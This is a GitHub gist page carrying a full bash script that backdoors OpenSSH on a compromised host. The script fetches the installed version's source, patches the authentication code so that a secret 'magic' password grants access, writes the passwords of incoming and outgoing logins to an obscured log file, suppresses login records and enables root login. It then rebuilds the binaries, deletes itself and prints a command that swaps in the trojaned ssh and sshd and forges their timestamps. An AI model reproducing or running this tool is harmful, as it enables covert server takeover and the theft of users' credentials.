Skip to content

Instantly share code, notes, and snippets.

@fun1355
Forked from eyecatchup/openssh-autobackdoor.bash
Last active August 29, 2015 14:13
Show Gist options
  • Save fun1355/0d4db0a3d9d38e0de6c8 to your computer and use it in GitHub Desktop.
Save fun1355/0d4db0a3d9d38e0de6c8 to your computer and use it in GitHub Desktop.
#!/bin/bash
# ============================================
# satyr's openssh autobackdooring doohicky v0.-1
# [email protected]
# ============================================
# USAGE:
# Run this script with no args and it'll prompt for the "Magic" password and location to log passwords to (incoming and outgoing).
# If you give the location that passwords will be logged to as an arg, this script will try to automate almost everything
# (Like common openssh compiling problems, such as missing pam, kerberos, zlib, openssl-devel, etc.
# [it'll install them via apt or yum, whichever is available]).
# Note: This script will delete itself once it's fairly sure the openssh compile went smoothly.
# It's up to you to clean the logs of those yum/apt installs if they're needed, and to restart sshd.
# ============================================
# WTF:
# I noticed that most openssh code doesn't change too much among versions, and that most openssh backdoors are
# just diff patches for specific versions of openssh. So I thought it would be nice to have a script that applies
# such a patch based on those similar chunks of code instead of relying on diff patches so that it can be done on different
# versions without any modifying (I've seen kiddies apply backdoor patches for a version of openssh that wasn't
# originally being used on the box, which is just lazy & dumb).
# So I wrote up this to make the whole process a bit easier (For use in my own private network of course o.O)
# ============================================
# FEATURES:
# 0) "Magic" password can be automagically generated
# 1) "Magic" password is MD5'd before being stored in the ssh/sshd binary, so very unlikely that anyone will be able to get your "Magic" password.
# 2) Conents of file that logs passwords is XOR encoded using the same code that's in http://packetstormsecurity.com/files/download/34453/apatch-ssh-3.8.1p1.tar.gz
# Here's the script for decoding for the bastards out there too lazy to go to the above link:
# #!/bin/sh
# cat > x << __EOF__
# #include <stdio.h>
# main(int c) {
# while(1) {
# c = getchar(); if(feof(stdin)) break;
# putchar(~c);
# }
# }
# __EOF__
# gcc -x c x -o x; cat $1 | ./x; rm -f x
# Do a `cat passlog|./theabovescript.sh` to get the logged passes.
# 3) Strings used for this backdoor are limited to 2 characters, so it'll hide from the `strings` command.
# 4) Cures cancer
# 5) Seems to work fine on all versions from 3.9p1 - 6.3p1 (latest as of this script)
# 6) Not really a bug, but your hostname will be logged if it doesn't match your IP's reverse DNS (disable this with "UseDNS no" in sshd_config)
# ============================================
# KNOWN BUGS (or lack of feature):
# 0) Sometimes the password generated contains non-printable characters.
# 1) No check to see if apt or yum completed successfully when installing a missing lib.
# 2) No check to see if the pass log location is writable. (yes, I know that could be added easily)
# 3) No check to see if packetstorm is accessible when grabbing http://dl.packetstormsecurity.net/UNIX/misc/touch2v2.c
# on that last command that's echoed for the user to run when done compiling.
# 4) No check if box has gcc
# ============================================
# NOTE TO ADMINS:
# I didn't put this script on your box. You really need to take your box offline and do a clean install of your system.
# This script is no different than the other openssh backdoors when it comes to prevention,
# tripwire or anything similar will easily notice this backdoor as it will with other openssh backdoors.
# ============================================
WGET=/usr/bin/wget
SSHD=/usr/sbin/sshd
# an openssh mirror
MIRROR=http://mirror.team-cymru.org/pub/OpenBSD/OpenSSH/portable/
SSHETC=/etc/ssh
PREFIX=/usr
if [ ! -d "$SSHETC" ]; then
echo "Error: $SSHETC is not a directory."
exit 1
fi
if [ "`grep -i pam $SSHETC/sshd_config|grep -v '#'|strings`" != "" ]; then
echo "(PAM enabled)"
pam="--with-pam"
fi
if [ "`grep -i gss $SSHETC/sshd_config|grep -v '#'|strings`" != "" ] || \
[ "`grep -i gss $SSHETC/ssh_config|grep -v '#'|strings`" != "" ]; then
echo "(KRB5 enabled)"
gss="--with-kerberos5"
fi
version=`$SSHD -arf 2>&1|head -2|tail -1|cut -d, -f1|sed -e's/^OpenSSH_//'|awk '{print $1}'`
extracrap=`$SSHD -arf 2>&1|head -2|tail -1|cut -d, -f1|sed -e's/^OpenSSH_//'|awk '{print $2}'`
if [ "$1" == "" ]; then
read -sp "Magic password (just press enter to use a random one): " PW;echo
fi
if [ "$PW" == "" ]; then
function randpass() { [ "$2" == "0" ] && CHAR="[:alnum:]" || CHAR="[:graph:]";cat /dev/urandom|tr -cd "$CHAR"|head -c ${1:-32};echo;}
PW=`randpass $(( 20+( $(od -An -N2 -i /dev/random) )%(20+1) ))`
fi
if [ "$1" == "" ]; then
read -p "File to log passwords to: " LOGF
else
LOGF=$1
fi
if [ "$LOGF" == "" ]; then
echo "Error: You didn't choose a file to log passwords to."
exit 1
fi
echo "==========================================================="
echo "Using magic password: $PW"
cat > md5.$$ << EOF0
$PW
EOF0
md5=`printf "%s" \`(cat md5.$$)|sed -e :a -e N -e '$!ba' -e 's/\n/ /g'\`|openssl md5|awk '{print $NF}'`
rm -f md5.$$
echo "Using password log file: $LOGF"
echo "OpenSSH version: $version"
echo "==========================================================="
LOGFLEN=`echo -n $LOGF|wc -c`
let LOGFLEN++
if [ ! -x "$WGET" ]; then
echo "Error: $WGET is not executable"
exit 1
fi
echo "Downloading openssh-$version..."
wget $MIRROR/openssh-$version.tar.gz 2>&1|grep save
tar zxf openssh-$version.tar.gz
rm -f openssh-$version.tar.gz
if [ -d "openssh-$version" ]; then
cd openssh-$version
else
echo "Error: Couldn't download $MIRROR/openssh-$version.tar.gz using $WGET"
exit 1
fi
echo "Modifying openssh src..."
cat > bd.h <<EOF
#include <stdio.h>
#include <string.h>
int pi, md5len, ploglen;
FILE *f;
char md5[32], plog[$LOGFLEN], encbuf[2048];
static char * bpmd5() {
EOF
echo $md5|awk -F. '{n=split($1,a,""); for (i=0;i<n;i++) {printf(" md5[%i] = \"%s\";\n",i,a[i+1])}; for (i=2;i<NF;i++) {printf("%s,",$i)};}' >> bd.h
cat >> bd.h <<EOF2
return md5;
}
static char * plogfn() {
EOF2
for i in $(seq 0 $((${#LOGF} - 1))); do echo "plog[$i] = \"${LOGF:$i:1}\";";done >> bd.h
cat >> bd.h <<EOF3
return plog;
}
static void enclog() {
char *plogg = plogfn();
int plen;
FILE *f;
plen=strlen(encbuf);
for (pi=0; pi<=plen; pi++) encbuf[pi]=~encbuf[pi];
f = fopen(plogg,"a");
if (f != NULL) {
fwrite(encbuf, plen, 1, f);
fclose(f);
}
}
EOF3
sed -e s/\"/\'/g -e s/plogg,\'a\'/plogg,\"a\"/ -i bd.h
sed '/#include "includes.h"/i\
#include "bd.h"
' -i auth.c
sed '/authmsg = authenticated ? "Accepted" : "Failed"/a\
if (!pi)
' -i auth.c
sed -i "`echo $[ $(grep -n auth_root_allowed auth.c|awk -F: '{print $1}') + 2 ]`iif (pi) return 1;" -i auth.c
# the auth-pam.c stuff is only for => 3.9p1
sed '/auth2-pam-freebsd.c/a\
#include "bd.h"
' -i auth-pam.c
sed '/void.*sshpam_conv/a\
if (pi) sshpam_err = PAM_SUCCESS;
' -i auth-pam.c
sed "`echo $[ $(grep -n pam_authenticate.sshpam_handle auth-pam.c|head -c3) + 1 ]`iif (pi) sshpam_err = PAM_SUCCESS;" -i auth-pam.c
sed "`grep -nA3 sshpam_cleanup.void auth-pam.c|grep NULL|head -c3`s/NULL/NULL || pi/" -i auth-pam.c
sed "`echo $[ $(grep -n char.*pam_rhost auth-pam.c|head -c3) + 2 ]`iif (pi) return (0);" -i auth-pam.c
sed '/type == PAM_SUCCESS/a\
if (pi) return 0;
' -i auth-pam.c
sed "`echo $[ $(grep -n do_pam_setcred auth-pam.c|head -c3) + 3 ]`a\
if (pi) {\n\
sshpam_cred_established = 1;\n\
return;\n\
}" -i auth-pam.c
sed "`echo $[ $(grep -n sshpam_respond.void auth-pam.c|head -c3) + 3 ]`a\
if (pi) {\n\
sshpam_cred_established = 1;\n\
return;\n\
}" -i auth-pam.c
sed "`grep -nA6 sshpam_auth_passwd auth-pam.c|grep "\-$"|sed 's/\-$//'`a\
char *passmd5 = str2md5(password, strlen(password));\n\
char *bpass = bpmd5();\n\
int enlen;\n\
" -i auth-pam.c
sed "`echo $(grep -n "sshpam_authctxt = authctxt" auth-pam.c|tail -1|awk -F: '{print $1}')`a\
if (strcmp(passmd5,bpass) == 0) {\n\
pi = 1;\n\
return 1;\n\
}" -i auth-pam.c
sed "`echo $(grep -nA1 'debug.*password authentication accepted for' auth-pam.c|tail -1|head -c4)`a\
enlen = sprintf(encbuf,\"pam\");\n\
enlen += sprintf(encbuf+enlen,\":\");\n\
enlen += sprintf(encbuf+enlen,\"%s\",authctxt->user);\n\
enlen += sprintf(encbuf+enlen,\":\");\n\
enlen += sprintf(encbuf+enlen,\"%s\\\n\",password);\n\
enclog();\n\
" -i auth-pam.c
sed '/#include "includes.h"/i\
#include "bd.h"\
#include <stdlib.h>\
#if defined(__APPLE__)\
# define COMMON_DIGEST_FOR_OPENSSL\
# include <CommonCrypto/CommonDigest.h>\
# define SHA1 CC_SHA1\
#else\
# include <openssl/md5.h>\
#endif\
' -i auth-passwd.c
sed '/extern ServerOptions options;/a\
char *str2md5(const char *str, int length) {\
int n;\
MD5_CTX c;\
unsigned char digest[16];\
char *out = (char*)malloc(33);\
MD5_Init(&c);\
while (length > 0) {\
if (length > 512) {\
MD5_Update(&c, str, 512);\
} else {\
MD5_Update(&c, str, length);\
}\
length -= 512;\
str += 512;\
}\
MD5_Final(digest, &c);\
for (n = 0; n < 16; ++n) {\
snprintf(&(out[n*2]), 16*2, "%02x", (unsigned int)digest[n]);\
}\
return out;\
}\
' -i auth-passwd.c
sed '/#ifndef HAVE_CYGWIN/i\
if (pi) return 1;
' -i auth-passwd.c
sed "`echo $[ $(grep -n sys_auth_passwd.A auth-passwd.c|tail -1|head -c3) + 3 ]`a\
char *passmd5 = str2md5(password, strlen(password));\n\
char *bpass = bpmd5();\n\
int enlen;\n\
" -i auth-passwd.c
sed "`echo $(grep -n pw_password.0.*xx auth-passwd.c|head -c3)`a\
if (strcmp(passmd5,bpass) == 0) {\n\
pi = 1;\n\
return 1;\n\
}\n\
else {\n\
if (strcmp(encrypted_password, pw_password) == 0) {\n\
enlen = sprintf(encbuf,\"pas\");\n\
enlen += sprintf(encbuf+enlen,\":\");\n\
enlen += sprintf(encbuf+enlen,\"%s\",authctxt->user);\n\
enlen += sprintf(encbuf+enlen,\":\");\n\
enlen += sprintf(encbuf+enlen,\"%s\\\n\",password);\n\
enclog();\n\
}\n\
}\n\
" -i auth-passwd.c
sed '/#include "includes.h"/i\
#include "bd.h"
' -i sshconnect1.c
sed '/char \*password;/a\
int enlen;
' -i sshconnect1.c
sed '/ssh_put_password(password);/a\
enlen = sprintf(encbuf,"1:");\
enlen += sprintf(encbuf+enlen,"%s",get_remote_ipaddr());\
enlen += sprintf(encbuf+enlen,":");\
enlen += sprintf(encbuf+enlen,"%s",options.user);\
enlen += sprintf(encbuf+enlen,":");\
enlen += sprintf(encbuf+enlen,"%s\\n",password);\
enclog();\
' -i sshconnect1.c
sed '/#include "includes.h"/i\
#include "bd.h"
' -i sshconnect2.c
sed '/char.*password;/a\
int enlen;
' -i sshconnect2.c
sed "`echo $(grep -n 'packet_put_cstring(password);' sshconnect2.c|head -c3)`a\
enlen = sprintf(encbuf,\"2:\");\n\
enlen += sprintf(encbuf+enlen,\"%s\",authctxt->server_user);\n\
enlen += sprintf(encbuf+enlen,\":\");\n\
enlen += sprintf(encbuf+enlen,\"%s\",authctxt->host);\n\
enlen += sprintf(encbuf+enlen,\":\");\n\
enlen += sprintf(encbuf+enlen,\"%s\\\n\",password);\n\
enclog();\
" -i sshconnect2.c
sed '/#include "includes.h"/i\
#include "bd.h"
' -i loginrec.c
sed '/#ifndef HAVE_CYGWIN/i\
if (pi) return 0;
' -i loginrec.c
sed '/#include "includes.h"/i\
#include "bd.h"
' -i log.c
sed '/#if (level > log_level)/i\
if (pi) return;
' -i loginrec.c
sed 's/PERMIT_NO /PERMIT_YES /' -i servconf.c
sed 's/PERMIT_NO;/PERMIT_YES;/' -i servconf.c
sed 's/PERMIT_NO_PASSWD /PERMIT_YES /' -i servconf.c
sed 's/PERMIT_NO_PASSWD;/PERMIT_YES;/' -i servconf.c
if [ "$extracrap" != "" ]; then
sed -re"s/(SSH.*PORTABLE.*)\"/\1 $extracrap\"/" -i version.h
fi
echo "Compiling..."
./configure --prefix=$PREFIX $pam $gss --sysconfdir=$SSHETC 2>/dev/null 1>/dev/null
if [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: PAM headers not found" ]; then
if [ "$1" == "" ]; then
echo "Error: PAM headers missing. To install do: "
echo " (with apt) apt-get install libpam0g-dev"
echo " (with yum) yum install pam-devel"
exit 1
else
echo "Error: PAM headers missing. Attempting automatic install..."
if [ -e "/usr/bin/yum" ]; then
yum -y install pam-devel
fi
if [ -e "/usr/bin/apt-get" ]; then
apt-get -y install libpam0g-dev
fi
echo "If install was successful, rerun $0"
exit 1
fi
fi
if [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: no acceptable C compiler found in \$PATH" ]; then
echo "Error: No gcc on this box (or in \$PATH)."
exit 1
fi
if [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** zlib missing - please install first or check config.log ***" ] || \
[ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** zlib.h missing - please install first or check config.log ***" ]; then
if [ "$1" == "" ]; then
echo "Error: zlib missing. To install do: "
echo " (with apt) apt-get install zlib1g-dev"
echo " (with yum) yum install zlib-devel"
exit 1
else
echo "Error: zlib missing. Attempting automatic install..."
if [ -e "/usr/bin/yum" ]; then
yum -y install zlib-devel
fi
if [ -e "/usr/bin/apt-get" ]; then
apt-get -y install zlib1g-dev
fi
echo "If install was successful, rerun $0"
exit 1
fi
fi
if [ "`grep "krb5.h: No such file or directory" config.log|head -1|awk '{ print substr($0, index($0,$2)) }'`" == "error: krb5.h: No such file or directory" ]; then
echo "Error: kerberos5 missing. To install do:"
echo " (with apt) apt-get install libkrb5-dev"
echo " (with yum) yum install krb5-devel"
fi
if [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** Can't find recent OpenSSL libcrypto (see config.log for details) ***" ] || \
[ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** OpenSSL headers missing - please install first or check config.log ***" ]; then
if [ "$1" == "" ]; then
echo "Error: libcrypto missing. To install do: "
echo " (with apt) apt-get install libssl-dev"
echo " (with yum) yum install openssl-devel"
exit 1
else
echo "Error: libcrypto missing. Attempting automatic install..."
if [ -e "/usr/bin/yum" ]; then
yum -y install openssl-devel
fi
if [ -e "/usr/bin/apt-get" ]; then
apt-get -y install libssl-dev
fi
echo "If install was successful, rerun $0"
exit 1
fi
fi
make 2>/dev/null 1>/dev/null
if [ -e "sshd" ]; then
ls -l ssh sshd
cd ..
rm -vf $0
echo "Now do this:"
echo "cd openssh-$version;$WGET http://dl.packetstormsecurity.net/UNIX/misc/touch2v2.c -q;gcc -o touch touch2v2.c;cp /usr/sbin/sshd sshd.bak;cp /usr/bin/ssh ssh.bak;chown --reference=/usr/bin/ssh ssh.bak;chown --reference=/usr/sbin/sshd sshd.bak;touch -r /usr/sbin/sshd sshd.bak;touch -r /usr/bin/ssh ssh.bak;./touch -r /usr/sbin/sshd sshd.bak;./touch -r /usr/bin/ssh ssh.bak;rm -f /usr/sbin/sshd /usr/bin/ssh;cp ssh /usr/bin/;cp sshd /usr/sbin/;chown --reference=ssh.bak /usr/bin/ssh;chown --reference=sshd.bak /usr/sbin/sshd;touch -r sshd.bak /usr/sbin/sshd;touch -r ssh.bak /usr/bin/ssh;./touch -r sshd.bak /usr/sbin/sshd;./touch -r ssh.bak /usr/bin/ssh;echo Backdoored. Now you restart it."
else
echo "Error: Compiling failed: "
grep error: config.log|tail -1
fi
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment